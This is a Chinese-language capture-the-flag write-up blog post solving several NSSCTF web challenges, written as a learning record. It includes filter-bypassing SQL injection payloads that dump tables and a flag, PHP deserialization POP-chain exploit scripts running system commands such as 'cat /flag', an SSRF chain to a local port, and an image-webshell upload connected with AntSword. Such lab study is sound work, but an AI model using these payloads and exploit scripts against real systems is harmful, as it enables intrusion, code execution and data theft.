Funny_web
这个题一开始就没做,不知道账号和密码算是他们内部题吧

然后进去之后看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(0); header("Content-Type: text/html;charset=utf-8"); highlight_file(__FILE__); include('flag.php'); if (isset($_GET['num'])) { $num = $_GET['num']; if ($num != '12345') { if (intval($num) == '12345') { echo $FLAG; } } else { echo "这为何相等又不相等"; } }
|
这里我卡了一下一直在纠结intval
这个函数,但是这里其实不是考这个函数而是考PHP弱比较
所以payload:?num=12345a

where_am_i
这个题那张图片实在是没看清那个酒店叫啥名字
山水间古迹酒店百度地图找到

输入客服电话去掉字符就行

numgame
前面抓包发现1.js,然后有个NsScTf.php这些步骤先过当时不是卡在这里
进入NsScTf.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(0);
include("flag.php"); class nss{ static function ctf(){ include("./hint2.php"); } } if(isset($_GET['p'])){ if (preg_match("/n|c/m",$_GET['p'], $matches)) die("no"); call_user_func($_GET['p']); }else{ highlight_file(__FILE__); }
|
卡在这里,一开始看那个hint以为是用HEAD请求但不是
利用call_user_func
函数,直接看payload:?p=Nss::Ctf
用大写绕过正则匹配模式是m所以可以用大写绕过主要是这里可以用::
来进入ctf这个函数

提示nss2,同样的利用方法

flag在源码
ez_sql
这个题当时没做出来一开始没找到绕过方式,后面没做了
用post传参 过滤了 or 空格 union
爆表
nss=0'ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()%23

爆列
nss=0'ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()%23

字段
nss=0'ununionion/**/select/**/1,2,group_concat(Secr3t,flll444g)/**/from/**/NSS_tb%23

ez_1zpop
这个pop链做的时候没看懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php error_reporting(0); class dxg { function fmm() { return "nonono"; } } class lt { public $impo='hi'; public $md51='weclome'; public $md52='to NSS'; function __construct() { $this->impo = new dxg; } function __wakeup() { $this->impo = new dxg; return $this->impo->fmm(); } function __toString() { if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); } function __destruct() { echo $this; } } class fin { public $a; public $url = 'https://www.ctfer.vip'; public $title; function fmm() { $b = $this->a; $b($this->title); } } if (isset($_GET['NSS'])) { $Data = unserialize($_GET['NSS']); } else { highlight_file(__file__); }
|
看fin类中的fmm()函数,$b($this->title);
这一条语句如果b为system而title为ls /,那么是不是就执行查看根目录,怎么进入这个函数呢?lt类中toString可以进入return $this->impo->fmm();
那么怎么进入toString呢,当对象当作字符串输出时会进入toString方法,看__destruct()销毁对象时会输出这个对象,至此pop链就理清楚了,这里就进入toString有点难理解,其它还好,这个pop链是需要自己去构造危险函数的执行,以前没练过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php class lt { public $impo; public $md51; public $md52; function __construct($f) { $this->impo = $f; } } class fin { public $a; public $url; public $title; function fmm() { $b = $this->a; $b($this->title); } } $a = new fin(); $a->a = "system"; $a->title = "ls /"; $b = new lt($a); $b->md51[]=1; $b->md52[] = 2; $b = serialize($b); echo $b;
|
1z_unserialize
之前没做过这种利用参数执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; function __destruct() { $a = $this->lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?>
|
序列化脚本
1 2 3 4 5 6 7 8 9 10 11
| <?php class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; } $a=new lyh(); $a->lt="assert"; $a->lly="system('cat /flag');"; echo(serialize($a));
|

js_sign
查看源码

通过tapcode解码flag出来下面这串字符,不知道怎么提交了

Power!
看源码有提示

全部的代码就不放了吧挺长的慢慢分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| if(isset($_GET['source'])){ highlight_file(__FILE__); }else{ if(isset($_GET['image_path'])){ $path = $_GET['image_path']; if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){ echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>'; }else{ echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>'; } }else if(isset($_GET['path_info'])){ $path_info = $_GET['path_info']; $FV = unserialize(base64_decode($path_info)); $FV->loadfile(); }else{ $path = "vergil.jpg"; echo '<h2>POWER!!</h2> <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>'; } }
|
直接用get方法传入image_path=flag.php


flag在内网,SSRF,看一下哪里能利用
1 2 3 4 5 6 7 8 9 10
| public function curl($path){ $url = $path; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 0); $response = curl_exec($curl); curl_close($curl); return $response; }
|
这里可以进行SSRF,跟一下这个函数
1 2 3 4 5 6 7 8 9 10 11 12
| public function loadfile(){ if(!is_array($this->path)){ if(preg_match("/".$this->black_list."/i",$this->path)){ $file = $this->curl($this->local."cheems.jpg"); }else{ $file = $this->curl($this->local.$this->path); } }else{ $file = $this->curl($this->local."cheems.jpg"); } echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>'; }
|
loadfile()
可以进行跳转,再跟loadfile()
1 2 3
| public function __call($f,$a){ $this->loadfile(); }
|
__call
方法可以进行跳转,想办法进入这里
1 2 3 4 5 6 7 8
| public function goodman($i,$j){ $i->$j = $this->superhacker; } public function __destruct(){ $this->goodman($this->a,$this->b); $this->a->c(); }
|
利用goodman函数进行变量覆盖,让a为FileViewer类的对象b="local"
,然后让Backdoor类下
superhacker="http://127.0.0.1:65500/"
就可以覆盖成功,a为FileViewer对象但这个类里面没有c方法,进入__call
魔术方法, 这样pop链构造完成,但是这里怎么利用呢?

直接传给image_path是失败了的


这篇博客打开是空的
1 2 3 4 5 6 7
| else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
|
所以我们得从这里进入localfile,原来的那条链子可以进行变量覆盖,我的理解是这样的,wp中这里没有太多解释
exp:来源wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class FileViewer { public $black_list; public $local; public $path; } class Backdoor { public $a; public $b; public $superhacker; } $m = new FileViewer(); $n = new Backdoor(); $n->a=$m; $n->b="local"; $n->superhacker="127.0.0.1:65500/"; $m->black_list="黑名单什么的管不着我"; $m->local=$n; $m->path="flag.php"; echo (base64_encode(serialize($m))); ?>
|
感觉没太理解有点问题,先这样吧
path_info进入


解码得到flag

file_master
进来有个查看文件,试一下index.php

查看源码

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php session_start(); if(isset($_GET['filename'])){ echo file_get_contents($_GET['filename']); } else if(isset($_FILES['file']['name'])){ $whtie_list = array("image/jpeg"); $filetype = $_FILES["file"]["type"]; if(in_array($filetype,$whtie_list)){ $img_info = @getimagesize($_FILES["file"]["tmp_name"]); if($img_info){ if($img_info[0]<=20 && $img_info[1]<=20){ if(!is_dir("upload/".session_id())){ mkdir("upload/".session_id()); } $save_path = "upload/".session_id()."/".$_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"],$save_path); $content = file_get_contents($save_path); if(preg_match("/php/i",$content)){ sleep(5); @unlink($save_path); die("hacker!!!"); }else{ echo "upload success!! upload/your_sessionid/your_filename"; } }else{ die("image hight and width must less than 20"); } }else{ die("invalid file head"); } }else{ die("invalid file type!image/jpeg only!!"); } }else{ echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">'; } ?>
|
传一张图片马显示太大了

1 2 3 4
| if($img_info[0]<=20 && $img_info[1]<=20){ if(!is_dir("upload/".session_id())){ mkdir("upload/".session_id()); }
|
直接使用define改,第一次遇到这中操作,题刷的太少了

被拦了,而且有延时
1 2 3 4
| if(preg_match("/php/i",$content)){ sleep(5); @unlink($save_path); die("hacker!!!");
|
试一下短标签

上传成功,PHP试一下

成功,路径直接提示了格式,连蚁剑

不知道为什么连不上,进入文件发现报错

多了一个>
删掉连接成功,文件打不开直接进终端

总结
参考:
(https://www.wd-ljt.com/post/1024/894.html)
这篇复现鸽了这么久终于弄完了,这篇博客图片上传的真不容易啊,obsidain对图片的处理真的麻烦,得找个插件解决一下这个问题,不然下次还得一个个重新截图保存上传,博客还不够完善,导航都还没弄,找个时间弄弄吧